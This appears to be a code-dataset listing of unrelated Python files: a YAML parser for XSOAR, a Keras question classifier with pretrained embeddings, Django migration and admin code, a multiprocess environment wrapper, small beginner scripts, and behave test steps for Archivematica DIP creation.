text
stringlengths
38
1.54M
import demistomock as demisto # noqa: F401 from CommonServerPython import * # noqa: F401 """ Loads and parses a YAML string and outputs to context """ import traceback from typing import Any, Dict import yaml def load_yaml(stream: str) -> Dict: """Simple YAML Loader function Args: stream (str): YAML formatted string Returns: Dict: python simple data structure """ return yaml.safe_load(stream) def load_and_parse_yaml_command(args: Dict[str, Any]) -> CommandResults: """XSOAR command function Args: args (Dict[str, Any]): XSOAR args Raises: ValueError: Returned if no string was passed Returns: CommandResults: XSOAR CommandResults object """ stream = args.get("string", None) if not stream: raise ValueError("string not specified in command args") result = load_yaml(stream) return CommandResults( outputs_prefix="ParseYAML", outputs_key_field="", outputs=result, ) def main(): try: return_results(load_and_parse_yaml_command(demisto.args())) except Exception as e: demisto.error(traceback.format_exc()) return_error(f"Failed to execute ParseYAML script. Error: {str(e)}") if __name__ in ("__main__", "__builtin__", "builtins"): main()
import math n = int(input("Enter or number: ")) result = 1 for i in range(n): result = result * (i+1) print(result)
from __future__ import absolute_import, division import re import os os.environ["CUDA_DEVICE_ORDER"]="PCI_BUS_ID"; os.environ["CUDA_VISIBLE_DEVICES"]="1"; import time import numpy as np import pandas as pd import gensim from tqdm import tqdm from nltk.stem import PorterStemmer ps = PorterStemmer() from nltk.stem.lancaster import LancasterStemmer lc = LancasterStemmer() from nltk.stem import SnowballStemmer sb = SnowballStemmer("english") import gc from keras.preprocessing.text import Tokenizer from keras.preprocessing.sequence import pad_sequences from keras.utils import to_categorical from keras.layers import Dense, Input, LSTM, Embedding, Dropout, Activation, GRU, Conv1D from keras.layers import Bidirectional, GlobalMaxPool1D, GlobalMaxPooling1D, GlobalAveragePooling1D from keras.layers import Input, Embedding, Dense, Conv2D, MaxPool2D, concatenate from keras.layers import Reshape, Flatten, Concatenate, Dropout, SpatialDropout1D from keras.optimizers import Adam from keras.models import Model from keras import backend as K from keras.engine.topology import Layer from keras import initializers, regularizers, constraints, optimizers, layers import sys from os.path import dirname #sys.path.append(dirname(dirname(__file__))) from keras import initializers from keras.engine import InputSpec, Layer from keras import backend as K import spacy spell_model = gensim.models.KeyedVectors.load_word2vec_format('wiki-news-300d-1M/wiki-news-300d-1M.vec') words = spell_model.index2word w_rank = {} for i,word in enumerate(words): w_rank[word] = i WORDS = w_rank # Use fast text as vocabulary def words(text): return re.findall(r'\w+', text.lower()) def P(word): "Probability of `word`." # use inverse of rank as proxy # returns 0 if the word isn't in the dictionary return - WORDS.get(word, 0) def correction(word): "Most probable spelling correction for word." return max(candidates(word), key=P) def candidates(word): "Generate possible spelling corrections for word." return (known([word]) or known(edits1(word)) or [word]) def known(words): "The subset of `words` that appear in the dictionary of WORDS." return set(w for w in words if w in WORDS) def edits1(word): "All edits that are one edit away from `word`." letters = 'abcdefghijklmnopqrstuvwxyz' splits = [(word[:i], word[i:]) for i in range(len(word) + 1)] deletes = [L + R[1:] for L, R in splits if R] transposes = [L + R[1] + R[0] + R[2:] for L, R in splits if len(R)>1] replaces = [L + c + R[1:] for L, R in splits if R for c in letters] inserts = [L + c + R for L, R in splits for c in letters] return set(deletes + transposes + replaces + inserts) def edits2(word): "All edits that are two edits away from `word`." return (e2 for e1 in edits1(word) for e2 in edits1(e1)) def singlify(word): return "".join([letter for i,letter in enumerate(word) if i == 0 or letter != word[i-1]]) def load_glove(word_dict, lemma_dict): EMBEDDING_FILE = 'glove.840B.300d/glove.840B.300d.txt' def get_coefs(word,*arr): return word, np.asarray(arr, dtype='float32') embeddings_index = dict(get_coefs(*o.split(" ")) for o in open(EMBEDDING_FILE)) embed_size = 300 nb_words = len(word_dict)+1 embedding_matrix = np.zeros((nb_words, embed_size), dtype=np.float32) unknown_vector = np.zeros((embed_size,), dtype=np.float32) - 1. print(unknown_vector[:5]) for key in tqdm(word_dict): word = key embedding_vector = embeddings_index.get(word) if embedding_vector is not None: embedding_matrix[word_dict[key]] = embedding_vector continue word = key.lower() embedding_vector = embeddings_index.get(word) if embedding_vector is not None: embedding_matrix[word_dict[key]] = embedding_vector continue word = key.upper() embedding_vector = embeddings_index.get(word) if embedding_vector is not None: embedding_matrix[word_dict[key]] = embedding_vector continue word = key.capitalize() embedding_vector = embeddings_index.get(word) if embedding_vector is not None: embedding_matrix[word_dict[key]] = embedding_vector continue word = ps.stem(key) embedding_vector = embeddings_index.get(word) if embedding_vector is not None: embedding_matrix[word_dict[key]] = embedding_vector continue word = lc.stem(key) embedding_vector = embeddings_index.get(word) if embedding_vector is not None: embedding_matrix[word_dict[key]] = embedding_vector continue word = sb.stem(key) embedding_vector = embeddings_index.get(word) if embedding_vector is not None: embedding_matrix[word_dict[key]] = embedding_vector continue word = lemma_dict[key] embedding_vector = embeddings_index.get(word) if embedding_vector is not None: embedding_matrix[word_dict[key]] = embedding_vector continue if len(key) > 1: word = correction(key) embedding_vector = embeddings_index.get(word) if embedding_vector is not None: embedding_matrix[word_dict[key]] = embedding_vector continue embedding_matrix[word_dict[key]] = unknown_vector return embedding_matrix, nb_words def load_fasttext(word_dict, lemma_dict): EMBEDDING_FILE = 'wiki-news-300d-1M/wiki-news-300d-1M.vec' def get_coefs(word,*arr): return word, np.asarray(arr, dtype='float32') embeddings_index = dict(get_coefs(*o.split(" ")) for o in open(EMBEDDING_FILE) if len(o)>100) embed_size = 300 nb_words = len(word_dict)+1 embedding_matrix = np.zeros((nb_words, embed_size), dtype=np.float32) unknown_vector = np.zeros((embed_size,), dtype=np.float32) - 1. print(unknown_vector[:5]) for key in tqdm(word_dict): word = key embedding_vector = embeddings_index.get(word) if embedding_vector is not None: embedding_matrix[word_dict[key]] = embedding_vector continue word = key.lower() embedding_vector = embeddings_index.get(word) if embedding_vector is not None: embedding_matrix[word_dict[key]] = embedding_vector continue word = key.upper() embedding_vector = embeddings_index.get(word) if embedding_vector is not None: embedding_matrix[word_dict[key]] = embedding_vector continue word = key.capitalize() embedding_vector = embeddings_index.get(word) if embedding_vector is not None: embedding_matrix[word_dict[key]] = embedding_vector continue word = ps.stem(key) embedding_vector = embeddings_index.get(word) if embedding_vector is not None: embedding_matrix[word_dict[key]] = embedding_vector continue word = lc.stem(key) embedding_vector = embeddings_index.get(word) if embedding_vector is not None: embedding_matrix[word_dict[key]] = embedding_vector continue word = sb.stem(key) embedding_vector = embeddings_index.get(word) if embedding_vector is not None: embedding_matrix[word_dict[key]] = embedding_vector continue word = lemma_dict[key] embedding_vector = embeddings_index.get(word) if embedding_vector is not None: embedding_matrix[word_dict[key]] = embedding_vector continue if len(key) > 1: word = correction(key) embedding_vector = embeddings_index.get(word) if embedding_vector is not None: embedding_matrix[word_dict[key]] = embedding_vector continue embedding_matrix[word_dict[key]] = unknown_vector return embedding_matrix, nb_words def load_para(word_dict, lemma_dict): EMBEDDING_FILE = 'paragram_300_sl999/paragram_300_sl999.txt' def get_coefs(word,*arr): return word, np.asarray(arr, dtype='float32') embeddings_index = dict(get_coefs(*o.split(" ")) for o in open(EMBEDDING_FILE, encoding="utf8", errors='ignore') if len(o)>100) embed_size = 300 nb_words = len(word_dict)+1 embedding_matrix = np.zeros((nb_words, embed_size), dtype=np.float32) unknown_vector = np.zeros((embed_size,), dtype=np.float32) - 1. print(unknown_vector[:5]) for key in tqdm(word_dict): word = key embedding_vector = embeddings_index.get(word) if embedding_vector is not None: embedding_matrix[word_dict[key]] = embedding_vector continue word = key.lower() embedding_vector = embeddings_index.get(word) if embedding_vector is not None: embedding_matrix[word_dict[key]] = embedding_vector continue word = key.upper() embedding_vector = embeddings_index.get(word) if embedding_vector is not None: embedding_matrix[word_dict[key]] = embedding_vector continue word = key.capitalize() embedding_vector = embeddings_index.get(word) if embedding_vector is not None: embedding_matrix[word_dict[key]] = embedding_vector continue word = ps.stem(key) embedding_vector = embeddings_index.get(word) if embedding_vector is not None: embedding_matrix[word_dict[key]] = embedding_vector continue word = lc.stem(key) embedding_vector = embeddings_index.get(word) if embedding_vector is not None: embedding_matrix[word_dict[key]] = embedding_vector continue word = sb.stem(key) embedding_vector = embeddings_index.get(word) if embedding_vector is not None: embedding_matrix[word_dict[key]] = embedding_vector continue word = lemma_dict[key] embedding_vector = embeddings_index.get(word) if embedding_vector is not None: embedding_matrix[word_dict[key]] = embedding_vector continue if len(key) > 1: word = correction(key) embedding_vector = embeddings_index.get(word) if embedding_vector is not None: embedding_matrix[word_dict[key]] = embedding_vector continue embedding_matrix[word_dict[key]] = unknown_vector return embedding_matrix, nb_words def build_model(embedding_matrix, nb_words, embedding_size=300): inp = Input(shape=(max_length,)) x = Embedding(nb_words, embedding_size, weights=[embedding_matrix], trainable=False)(inp) x = SpatialDropout1D(0.3)(x) x1 = Bidirectional(LSTM(256, return_sequences=True))(x) x2 = Bidirectional(GRU(128, return_sequences=True))(x1) max_pool1 = GlobalMaxPooling1D()(x1) max_pool2 = GlobalMaxPooling1D()(x2) conc = Concatenate()([max_pool1, max_pool2]) predictions = Dense(6, activation='softmax')(conc) model = Model(inputs=inp, outputs=predictions) adam = optimizers.Adam(lr=learning_rate) model.compile(optimizer=adam, loss='binary_crossentropy', metrics=['accuracy']) return model train = pd.read_csv('ids_and_questions_dataset.csv') train['Label'] = train['Label'].astype(str) train = train.fillna(' ') train = train.iloc[:,1:] start_time = time.time() print("Loading data ...") # train = pd.read_csv('ids_and_questions_dataset.csv').fillna(' ') # test = pd.read_csv('test.csv').fillna(' ') train_text = train['Questions'] # test_text = test['question_text'] text_list = train_text y1 = train['Label'].values num_train_data = y1.shape[0] # y = pd.get_dummies(train['Label']).values # print('Shape of label tensor:', y.shape) # print("--- %s seconds ---" % (time.time() - start_time)) y = to_categorical(y1, num_classes=6) start_time = time.time() print("Spacy NLP ...") nlp = spacy.load('en_core_web_lg', disable=['parser','ner','tagger']) nlp.vocab.add_flag(lambda s: s.lower() in spacy.lang.en.stop_words.STOP_WORDS, spacy.attrs.IS_STOP) word_dict = {} word_index = 1 lemma_dict = {} docs = nlp.pipe(text_list, n_threads = 2) word_sequences = [] for doc in tqdm(docs): word_seq = [] for token in doc: if (token.text not in word_dict) and (token.pos_ is not "PUNCT"): word_dict[token.text] = word_index word_index += 1 lemma_dict[token.text] = token.lemma_ if token.pos_ is not "PUNCT": word_seq.append(word_dict[token.text]) word_sequences.append(word_seq) del docs gc.collect() train_word_sequences = word_sequences[:num_train_data] # test_word_sequences = word_sequences[num_train_data:] print("--- %s seconds ---" % (time.time() - start_time)) # hyperparameters max_length = 55 embedding_size = 600 learning_rate = 0.001 batch_size = 512 num_epoch = 20 train_word_sequences = pad_sequences(train_word_sequences, maxlen=max_length, padding='post') # test_word_sequences = pad_sequences(test_word_sequences, maxlen=max_length, padding='post') print(train_word_sequences[:1]) # print(test_word_sequences[:1]) # pred_prob = np.zeros((len(test_word_sequences),), dtype=np.float32) start_time = time.time() print("Loading embedding matrix ...") embedding_matrix_glove, nb_words = load_glove(word_dict, lemma_dict) embedding_matrix_fasttext, nb_words = load_fasttext(word_dict, lemma_dict) embedding_matrix = np.concatenate((embedding_matrix_glove, embedding_matrix_fasttext), axis=1) print("--- %s seconds ---" % (time.time() - start_time)) start_time = time.time() print("Start training ...") model = build_model(embedding_matrix, nb_words, embedding_size) model.fit(train_word_sequences, y, batch_size=batch_size, epochs=num_epoch-1, verbose=2) model.save("model_one.h5") print("Saved model to disk") # pred_prob += 0.15*np.squeeze(model.predict(test_word_sequences, batch_size=batch_size, verbose=2)) model.fit(train_word_sequences, y, batch_size=batch_size, epochs=1, verbose=2) model.save("model_two.h5") print("Saved model to disk") # pred_prob += 0.35*np.squeeze(model.predict(test_word_sequences, batch_size=batch_size, verbose=2)) del model, embedding_matrix_fasttext, embedding_matrix gc.collect() K.clear_session() print("--- %s seconds ---" % (time.time() - start_time)) start_time = time.time() print("Loading embedding matrix ...") embedding_matrix_para, nb_words = load_para(word_dict, lemma_dict) embedding_matrix = np.concatenate((embedding_matrix_glove, embedding_matrix_para), axis=1) print("--- %s seconds ---" % (time.time() - start_time)) start_time = time.time() print("Start training ...") model = build_model(embedding_matrix, nb_words, embedding_size) model.fit(train_word_sequences, y, batch_size=batch_size, epochs=num_epoch-1, verbose=2) model.save("model_three.h5") print("Saved model to disk") # pred_prob += 0.15*np.squeeze(model.predict(test_word_sequences, batch_size=batch_size, verbose=2)) model.fit(train_word_sequences, y, batch_size=batch_size, epochs=1, verbose=2) model.save("model_four.h5") print("Saved model to disk") # pred_prob += 0.35*np.squeeze(model.predict(test_word_sequences, batch_size=batch_size, verbose=2)) print("--- %s seconds ---" % (time.time() - start_time)) '''submission = pd.DataFrame.from_dict({'qid': test['qid']}) submission['prediction'] = (pred_prob>0.35).astype(int) submission.to_csv('submission.csv', index=False)'''
# Generated by Django 3.1.6 on 2021-02-13 23:14 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('foodjournal', '0046_auto_20210213_2300'), ] operations = [ migrations.AlterField( model_name='user', name='rec_bmr', field=models.IntegerField(blank=True), ), migrations.AlterField( model_name='user', name='rec_cal_lose', field=models.IntegerField(blank=True), ), migrations.AlterField( model_name='user', name='rec_calories', field=models.IntegerField(blank=True), ), ]
# *-* coding=utf-8 *-* from djblog.models import Post, Category, Status, Tag from djblog.forms import PostAdminForm from django.contrib import admin from django import forms from django.db import models from django.utils.translation import ugettext_lazy as _ from content_media.admin import MediaContentInline from django.utils.safestring import mark_safe from django.template.defaultfilters import timesince, timeuntil from datetime import datetime class BlogBaseAdmin(admin.ModelAdmin): save_on_top = True list_filter = ('pub_date', 'is_active') fieldsets = ( ('Metadata config.', { 'fields': ('meta_keywords', 'meta_description',), 'classes': ('collapse',) }), ('Expert config.', { 'fields': ('pub_date', 'slug', 'is_active', 'is_live', 'lang', 'site'), 'classes': ('collapse',) }), ) class Media: css = { 'all': ('jwysiwyg/jquery.wysiwyg.css', 'jwysiwyg/jquery.wysiwyg.modal.css', 'lib/jquery.simplemodal.css') } js = ('jwysiwyg/jquery.wysiwyg.js', 'lib/jquery.simplemodal.js', 'jwysiwyg/loader.js', \ 'lib/ui/jquery.ui.core.js', 'lib/ui/jquery.ui.widget.js', 'lib/ui/jquery.ui.mouse.js', 'lib/ui/jquery.ui.resizable.js') class PostAdmin(BlogBaseAdmin): list_display = ('get_category', 'title', 'status', 'author', 'pub_date', 'get_publication_date', 'get_expiration_date', 'get_is_active', 'get_is_page', 'lang') list_display_links = ('title',) list_filter = ('category', 'author', 'is_page').__add__(BlogBaseAdmin.list_filter) search_fields = ['title', 'copete', 'content_plain'] form = PostAdminForm inlines = [MediaContentInline] prepopulated_fields = {'slug': ('title',)} filter_horizontal = ('tags', 'category', 'followup_for', 'related') formfield_overrides = { models.TextField: {'widget': forms.Textarea(attrs={'class':'wysiwyg', 'cols':'75', 'rows':'20'})} } fieldsets = ( (None, {'fields': ('title', 'copete', 'content', 'category', 'tags', 'is_page', 'status', 'user', 'author')}), ('Advanced', { 'fields': ('allow_comments', 'comments_finish_date', 'content_plain'), 'classes': ('collapse',) }), ('Scheduling', { 'fields': ('publication_date', 'expiration_date'), 'classes': ('collapse',) }), ('Relationships', { 'fields': ('followup_for', 'related'), 'classes': ('collapse',) }), ).__add__(BlogBaseAdmin.fieldsets) def get_is_active(self, obj): if obj.is_active: return mark_safe('<img src="/media/img/admin/accept.png" alt="%s" />' % True) return mark_safe('<img src="/media/img/admin/cross.png" alt="%s" />' % False) get_is_active.short_description = u'activo' get_is_active.allow_tags = True def get_expiration_date(self, obj): if not obj.expiration_date: return mark_safe('<span style="color:green">nunca expira</span>') if obj.expiration_date and obj.expiration_date <= datetime.now(): return mark_safe('<span style="color:orange">expiro hace %s</span>' % timesince(obj.expiration_date)) return mark_safe('<span style="color:green">expira en %s</span>' % timeuntil(obj.expiration_date)) get_expiration_date.allow_tags = True get_expiration_date.short_description = _(u"expiration_date") def get_publication_date(self, obj): if obj.publication_date and obj.publication_date <= datetime.now(): return mark_safe('<span style="color:green">publicado hace %s</span>' % timesince(obj.publication_date)) return mark_safe('<span style="color:blue">se publica en %s</span>' % timeuntil(obj.publication_date)) get_publication_date.allow_tags = True get_publication_date.short_description = _(u"publication_date") def get_is_page(self, obj): if obj.is_page: return mark_safe(u'<img src="/media/img/mimes/application-xhtml+xml.png" title="Página" alt="Página" />') return 'Post' get_is_page.short_description = u'post o página' get_is_page.allow_tags = True def get_category(self, obj): return ', '.join([c.name for c in obj.category.all()]) get_category.short_description = _(u'In Category') def get_tags(self, obj): return ', '.join([c.name for c in obj.tags.all()]) get_tags.short_description = _(u'Tags') def mark_active(self, request, queryset): queryset.update(is_active=True) mark_active.short_description = _(u'Mark select articles as active') def mark_inactive(self, request, queryset): queryset.update(is_active=False) mark_inactive.short_description = _(u'Mark select articles as inactive') class CategoryAdmin(BlogBaseAdmin): list_display = ('name', 'parent', 'root_level', 'get_blog_category', 'get_is_active') list_filter = ('root_level','blog_category',).__add__(BlogBaseAdmin.list_filter) prepopulated_fields = {'slug': ('name',)} fieldsets = ( (None, {'fields': ('name', 'description', 'parent')}), ('Advanced', { 'fields': ('blog_category', 'root_level', 'description_plain'), 'classes': ('collapse',) }), ).__add__(BlogBaseAdmin.fieldsets) def get_blog_category(self, obj): if obj.blog_category: return mark_safe('<img src="/media/img/admin/accept.png" alt="%s" />' % True) return mark_safe('<img src="/media/img/admin/cross.png" alt="%s" />' % False) get_blog_category.short_description = u'categoría de blog' get_blog_category.allow_tags = True def get_is_active(self, obj): if obj.is_active: return mark_safe('<img src="/media/img/admin/accept.png" alt="%s" />' % True) return mark_safe('<img src="/media/img/admin/cross.png" alt="%s" />' % False) get_is_active.short_description = u'activo' get_is_active.allow_tags = True class StatusAdmin(BlogBaseAdmin): prepopulated_fields = {'slug': ('name',)} fieldsets = ( (None, {'fields': ('name', 'description', 'is_public')}), ).__add__(BlogBaseAdmin.fieldsets) class TagAdmin(BlogBaseAdmin): prepopulated_fields = {'slug': ('name',)} fieldsets = ( (None, {'fields': ('name',)}), ).__add__(BlogBaseAdmin.fieldsets) admin.site.register(Post, PostAdmin) admin.site.register(Category, CategoryAdmin) admin.site.register(Status, StatusAdmin) admin.site.register(Tag, TagAdmin)
try: num = int(input ("Enter a number: ")) while num != 0: for i in range(11): value = num * i print("{}*{} = {}" .format (num,i,value)) num = int(input ("Enter a number: ")) except: print ("Det var inte en siffra")
from copy import deepcopy import torch.multiprocessing as multiprocessing from collections import OrderedDict import gym import numpy as np import time from .base_vec_env import VecEnv, CloudpickleWrapper from .tile_images import tile_images from .util import flatten_obs def _worker(remote, parent_remote, env_fn_wrapper, model): parent_remote.close() env = env_fn_wrapper.var() while True: try: cmd, data = remote.recv() if cmd == 'step': observation, reward, done, info = env.step(data) remote.send((observation, reward, done, info)) elif cmd == 'reset': observation = env.reset() remote.send(observation) elif cmd == 'render': remote.send(env.render(*data[0], **data[1])) elif cmd == 'close': remote.close() break elif cmd == 'get_spaces': remote.send((env.observation_space, env.action_space)) elif cmd == 'env_method': method = getattr(env, data[0]) remote.send(method(*data[1], **data[2])) elif cmd == 'get_attr': remote.send(getattr(env, data)) elif cmd == 'set_attr': remote.send(setattr(env, data[0], data[1])) elif cmd == 'get_obs': remote.send(env.get_obs()) elif cmd == 'set_env_state': remote.send(env.set_env_state(data)) elif cmd == 'get_env_state': state = env.get_env_state() remote.send(state) elif cmd == 'rollout': obs_vec, act_vec, act_infos, rew_vec, done_vec, next_obs_vec, info = env.rollout_cl(model, **data) remote.send((obs_vec, act_vec, act_infos, rew_vec, done_vec, next_obs_vec, info)) elif cmd == 'seed': remote.send(env.seed(data)) elif cmd == 'get_seed': remote.send((env.seed)) else: raise NotImplementedError except EOFError: break class TorchModelVecEnv(VecEnv): """ Creates a multiprocess vectorized wrapper for multiple environments with a torch model as policy for rollouts .. warning:: Only 'forkserver' and 'spawn' start methods are thread-safe, which is important when TensorFlow sessions or other non thread-safe libraries are used in the parent (see issue #217). However, compared to 'fork' they incur a small start-up cost and have restrictions on global variables. With those methods, users must wrap the code in an ``if __name__ == "__main__":`` For more information, see the multiprocessing documentation. :param env_fns: ([Gym Environment]) Environments to run in subprocesses :param model: ([torch.nn model]) Model used for parallel rollouts :param start_method: (str) method used to start the subprocesses. Must be one of the methods returned by multiprocessing.get_all_start_methods(). Defaults to 'fork' on available platforms, and 'spawn' otherwise. """ def __init__(self, env_fns, model, start_method=None): self.waiting = False self.closed = False n_envs = len(env_fns) # NOTE: this is required for the ``fork`` method to work self.model = model self.model.share_memory() if start_method is None: # Fork is not a thread safe method (see issue #217) # but is more user friendly (does not require to wrap the code in # a `if __name__ == "__main__":`) fork_available = 'fork' in multiprocessing.get_all_start_methods() start_method = 'fork' if fork_available else 'spawn' ctx = multiprocessing.get_context(start_method) self.remotes, self.work_remotes = zip(*[ctx.Pipe() for _ in range(n_envs)]) self.processes = [] for work_remote, remote, env_fn in zip(self.work_remotes, self.remotes, env_fns): args = (work_remote, remote, CloudpickleWrapper(env_fn), self.model) # daemon=True: if the main process crashes, we should not cause things to hang process = ctx.Process(target=_worker, args=args, daemon=True) process.start() self.processes.append(process) work_remote.close() self.remotes[0].send(('get_spaces', None)) observation_space, action_space = self.remotes[0].recv() VecEnv.__init__(self, len(env_fns), observation_space, action_space) def update_model_params(self, state_dict): self.model.load_state_dict(state_dict) def step_async(self, actions): if np.size(actions.shape) > 1: for remote, action in zip(self.remotes, actions): remote.send(('step', action)) else: for remote in self.remotes: remote.send(('step', actions)) self.waiting = True def step_wait(self): results = [remote.recv() for remote in self.remotes] self.waiting = False obs, rews, dones, infos = zip(*results) return flatten_obs(obs, self.observation_space), np.stack(rews), np.stack(dones), infos def rollout(self, num_rollouts, horizon, mode='mean', noise=None): """ Rollout the environments to a horizon given open loop action sequence :param """ self.rollout_async(num_rollouts, horizon, mode, noise) return self.rollout_wait() def rollout_async(self, num_rollouts, horizon, mode='mean', noise=None): assert num_rollouts % len(self.remotes) == 0, "Number of particles must be divisible by number of cpus" batch_size = int(num_rollouts/len(self.remotes)) for i,remote in enumerate(self.remotes): if noise is not None: noise_vec_i = noise[i*batch_size: (i+1)*batch_size, :, :].copy() else: noise_vec_i = None data = {'batch_size': batch_size, 'horizon': horizon, 'mode': mode, 'noise': noise_vec_i} remote.send(('rollout', data)) self.waiting = True def rollout_wait(self): results = [remote.recv() for remote in self.remotes] self.waiting=False obs_vec = [res[0] for res in results] act_vec = [res[1] for res in results] act_info = [res[2] for res in results] rew_vec = [res[3] for res in results] done_vec = [res[4] for res in results] next_obs_vec = [res[5] for res in results] info = [res[6] for res in results] stacked_obs = np.concatenate(obs_vec, axis=0) stacked_act = np.concatenate(act_vec, axis=0) # stacked_log_prob = np.concatenate(log_prob_vec, axis=0) stacked_rews = np.concatenate(rew_vec, axis=0) stacked_done = np.concatenate(done_vec, axis=0) stacked_next_obs = np.concatenate(next_obs_vec, axis=0) return stacked_obs, stacked_act, act_info, stacked_rews, stacked_done, stacked_next_obs, info def reset(self): for remote in self.remotes: remote.send(('reset', None)) obs = [remote.recv() for remote in self.remotes] return flatten_obs(obs, self.observation_space) def close(self): if self.closed: return if self.waiting: for remote in self.remotes: remote.recv() for remote in self.remotes: remote.send(('close', None)) for process in self.processes: process.join() self.closed = True def render(self, mode='human', *args, **kwargs): for pipe in self.remotes: # gather images from subprocesses # `mode` will be taken into account later pipe.send(('render', (args, {'mode': 'rgb_array', **kwargs}))) imgs = [pipe.recv() for pipe in self.remotes] # Create a big image by tiling images from subprocesses bigimg = tile_images(imgs) if mode == 'human': import cv2 cv2.imshow('vecenv', bigimg[:, :, ::-1]) cv2.waitKey(1) elif mode == 'rgb_array': return bigimg else: raise NotImplementedError def get_obs(self): for remote in self.remotes: remote.send(('get_obs', None)) observations = [remote.recv() for remote in self.remotes] stacked_obs = np.vstack(observations) return stacked_obs # -------------------------------- # get and set states # -------------------------------- def set_env_state(self, state_dicts): """ Set the state of all envs given a list of state dicts If only one state is provided, we set state of all envs to that else each env must be provided one state """ if isinstance(state_dicts, list): num_states = len(state_dicts) assert num_states == 1 or num_states == len(self.remotes), \ "num states should equal 1 (same for all envs) or 1 per env" if num_states == 1: state_dicts = [deepcopy(state_dicts[0]) for j in range(len(self.remotes))] else: state_dicts = [deepcopy(state_dicts) for j in range(len(self.remotes))] for i,remote in enumerate(self.remotes): remote.send(('set_env_state', state_dicts[i])) for remote in self.remotes: remote.recv() def get_env_state(self): for remote in self.remotes: remote.send(('get_env_state', None)) states = [remote.recv() for remote in self.remotes] return states def get_images(self): for pipe in self.remotes: pipe.send(('render', {"mode": 'rgb_array'})) imgs = [pipe.recv() for pipe in self.remotes] return imgs def get_attr(self, attr_name, indices=None): """Return attribute from vectorized environment (see base class).""" target_remotes = self._get_target_remotes(indices) for remote in target_remotes: remote.send(('get_attr', attr_name)) return [remote.recv() for remote in target_remotes] def set_attr(self, attr_name, value, indices=None): """Set attribute inside vectorized environments (see base class).""" target_remotes = self._get_target_remotes(indices) for remote in target_remotes: remote.send(('set_attr', (attr_name, value))) for remote in target_remotes: remote.recv() def env_method(self, method_name, *method_args, indices=None, **method_kwargs): """Call instance methods of vectorized environments.""" target_remotes = self._get_target_remotes(indices) for remote in target_remotes: remote.send(('env_method', (method_name, method_args, method_kwargs))) return [remote.recv() for remote in target_remotes] def _get_target_remotes(self, indices): """ Get the connection object needed to communicate with the wanted envs that are in subprocesses. :param indices: (None,int,Iterable) refers to indices of envs. :return: ([multiprocessing.Connection]) Connection object to communicate between processes. """ indices = self._get_indices(indices) return [self.remotes[i] for i in indices] def seed(self, seed_list): assert len(seed_list) == len(self.remotes), "Each environment must be provided a seed" for i,remote in enumerate(self.remotes): remote.send(('seed', seed_list[i])) results = [remote.recv() for remote in self.remotes]
"""Steps for the CCA DIP Feature.""" import csv import logging import os import subprocess import time import zipfile from behave import when, then, given logger = logging.getLogger("amauat.steps.ccadip") # ============================================================================== # Step Definitions # ============================================================================== # Givens # ------------------------------------------------------------------------------ @given( "Tim has configured the automation-tools DIP creation bash script with" " all the required parameters" ) def step_impl(context): # Check if the DIP creation script exists and is executable context.script = os.path.join(context.AUTOMATION_TOOLS_PATH, "create_dip_script.sh") assert os.path.isfile(context.script) assert os.access(context.script, os.X_OK) # Get AIP UUID, transer name and output dir from user data userdata = context.config.userdata context.aip_uuid = userdata.get("aip_uuid") context.transfer_name = userdata.get("transfer_name") context.output_dir = userdata.get("output_dir") assert context.aip_uuid assert context.transfer_name assert context.output_dir @given("he has created that AIP using the current version of Archivematica (1.6.x)") def step_impl(context): # Not the best way to check the AIP existence # as the request won't fail if AM is in debug mode. # Should we check directly in the SS API? context.am_user.browser.navigate_to_aip_in_archival_storage(context.aip_uuid) # Whens # ------------------------------------------------------------------------------ @when("he executes the DIP creation script") def step_impl(context): output = subprocess.check_output([context.script], stderr=subprocess.STDOUT) logger.info("Create DIP script output:\n%s", output.decode()) # Thens # ------------------------------------------------------------------------------ @then( "the script retrieves the AIP and creates a new DIP named with the" " original Transfer name appended with the AIP UUID and “_DIP”" ) def step_impl(context): dip_name = "{}_{}_DIP".format(context.transfer_name, context.aip_uuid) context.dip_path = os.path.join(context.output_dir, dip_name) assert os.path.exists(context.dip_path) @then("the DIP METS XML file that describes the contents of the DIP") def step_impl(context): mets_filename = "METS.{}.xml".format(context.aip_uuid) context.mets_path = os.path.join(context.dip_path, mets_filename) assert os.path.exists(context.mets_path) @then( "the DIP objects directory contains one zip container with all objects" " from the original transfer" ) def step_impl(context): objects_path = os.path.join(context.dip_path, "objects") context.zip_path = os.path.join( objects_path, "{}.zip".format(context.transfer_name) ) assert os.path.exists(context.zip_path) @then( "each DIP object file has its original filename and last modified date" " from the original transfer" ) def step_impl(context): # Get objects files info from CSV file userdata = context.config.userdata files_csv_path = userdata.get("files_csv") files = [] with open(files_csv_path) as csv_file: reader = csv.DictReader(csv_file) for row in reader: filename = row["filename"] if filename.startswith("./"): filename = filename[2:] files.append({"filename": filename, "lastmodified": row["lastmodified"]}) assert files # Check file info in ZIP files with zipfile.ZipFile(context.zip_path, "r") as zip_file: for file_info in zip_file.infolist(): # Strip transfer name and '/', the main folder will end empty filename = file_info.filename[len(context.transfer_name) + 1 :] # Ignore main folder, METS, submissionDocumentation and directories if ( not filename or filename == "METS.{}.xml".format(context.aip_uuid) or filename.startswith("submissionDocumentation") or filename.endswith("/") ): continue lastmodified = int(time.mktime(file_info.date_time + (0, 0, -1))) # Find file by filename in file info from CSV csv_info = next((x for x in files if x["filename"] == filename), None) assert csv_info # Check lastmodified date, if present in CSV csv_lastmodified = csv_info["lastmodified"] if not csv_info["lastmodified"]: continue csv_lastmodified = int(csv_info["lastmodified"]) # Somehow, between getting the last modified date from the METS file, # setting it in the DIP files with os.utime(), zipping the files and # getting it in here with infolist(), a mismatch of a second is found # in some of the files. No milliseconds are involved in the process so # this should not be a rounding issue. assert csv_lastmodified - 1 <= lastmodified <= csv_lastmodified + 1 @then( "the DIP zip file includes a copy of the submissionDocumentation from the original Transfer" ) def step_impl(context): sub_folder = "{}/submissionDocumentation/".format(context.transfer_name) with zipfile.ZipFile(context.zip_path, "r") as zip_file: assert sub_folder in zip_file.namelist() @then("a copy of the AIP METS file generated during ingest") def step_impl(context): mets_filename = "{}/METS.{}.xml".format(context.transfer_name, context.aip_uuid) with zipfile.ZipFile(context.zip_path, "r") as zip_file: assert mets_filename in zip_file.namelist() @then( "the DIP is stored locally in the output directory specified in the script parameters" ) def step_impl(context): # Already checked in previous steps pass
